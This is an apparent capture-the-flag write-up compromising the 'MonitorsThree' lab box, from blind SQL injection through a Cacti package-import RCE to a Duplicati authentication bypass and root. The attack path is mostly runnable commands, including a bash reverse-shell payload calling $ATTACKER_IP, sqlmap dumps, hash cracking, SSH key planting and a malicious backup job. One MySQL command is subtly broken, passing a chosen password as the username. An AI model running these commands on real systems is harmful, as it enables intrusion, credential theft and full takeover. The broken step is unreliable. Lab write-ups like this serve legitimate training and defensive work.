MonitorsThree
Summary
I mapped MonitorsThree's web surface to a Cacti-backed monitoring vhost and used a boolean-blind SQL injection in the password-reset form to dump the application's user table, cracking the admin hash to log into Cacti 1.2.26. A forged, self-signed package exploiting Cacti's package-import RCE flaw (CVE-2024-25641) planted a PHP web shell, giving code execution as www-data.
Cacti's own database configuration file exposed working MySQL credentials, which were used to dump and crack a local user's password hash, pivoting to a full shell as marcus and the user flag. From there, a root-owned Duplicati backup service bound to localhost was reached over SSH, its authentication was bypassed by reading the server's secret passphrase out of its local config database and forging the nonce-response login, and a malicious backup job was used to trigger a root-context script — because the Duplicati container had the entire host filesystem mounted at /source, this yielded root code execution and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -p22,80 -sV $TARGETecho "$TARGET monitorsthree.htb cacti.monitorsthree.htb" | sudo tee -a /etc/hostscurl -ksS -L -D - http://$TARGET/ffuf -u "http://$TARGET/" -H 'Host: FUZZ.monitorsthree.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -acExact commands 3
sqlmap -r reset.request --level 5 --risk 3 --dbms=mysql --technique=B --flush-sessionsqlmap -r reset.request --dbms=mysql --technique=B -D monitorsthree_db -T users --dumphashcat -m 0 -a 0 admin_hash.txt rockyou.txtFixFix SQL injection in the password-reset formCritical
Exact commands 4
nc -lnvp 443python3 cacti_2024_25641_poc.py -u admin -p '<cracked_password>' --url http://cacti.monitorsthree.htb/cacti/ --file resource/0xdf.php --php-payload "<?php system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1\"'); ?>" --output payload.xml.gz# In the Cacti UI: Import/Export > Import Packages, upload payload.xml.gzcurl http://cacti.monitorsthree.htb/cacti/resource/0xdf.phpFixPatch Cacti and lock down package importCritical
Exact commands 4
mysql -u $PASSWORD4 -p$PASSWORD4 cacti -e "SELECT username,password FROM user_auth WHERE username='marcus'"hashcat -m 3200 marcus_hash.txt rockyou.txtsu - marcuscat /home/marcus/user.txtFixEnforce strong, unique passwords for application and OS accountsHigh
Exact commands 3
ssh-keygen -q -t ed25519 -N '' -f ./marcus_keysu - marcus -c "mkdir -p ~/.ssh && chmod 700 ~/.ssh && printf '%s\n' '<attacker_pubkey>' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"ssh -i ./marcus_key marcus@$TARGET idExact commands 3
ssh -i ./marcus_key marcus@$TARGET ss -lntssh -i ./marcus_key marcus@$TARGET "find /opt/duplicati /usr/share -maxdepth 5 -type f \( -name '*.js' -o -name '*.html' \) 2>/dev/null | grep -i duplicati"ssh -L 8084:127.0.0.1:8084 -i ./marcus_key marcus@$TARGETExact commands 4
ssh -i ./marcus_key marcus@$TARGET "sqlite3 /opt/duplicati/config/Duplicati-server.sqlite \"SELECT Name,Value FROM Option WHERE Name LIKE 'server-passphrase%'\""curl -s 'http://127.0.0.1:8084/login.cgi?get-nonce=1'python3 dup_auth_bypass.py --nonce '<nonce>' --passphrase '<b64_passphrase>'curl -s -X POST 'http://127.0.0.1:8084/login.cgi' --data 'password=<noncedpwd>'FixProtect the Duplicati server passphrase and restrict accessCritical
Exact commands 3
cp x.sh /dev/shm/x.sh && chmod 755 /dev/shm/x.shpython3 dup_exploit.py --session '<session-auth-cookie>' --xsrf '<xsrf-token>' --template 'Cacti 1.2.26 Backup' --run-script-before /dev/shm/x.sh --runssh -i ./marcus_key marcus@$TARGET cat /source/root/root.txtFixStop running the backup agent as root with the host filesystem mounted inCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |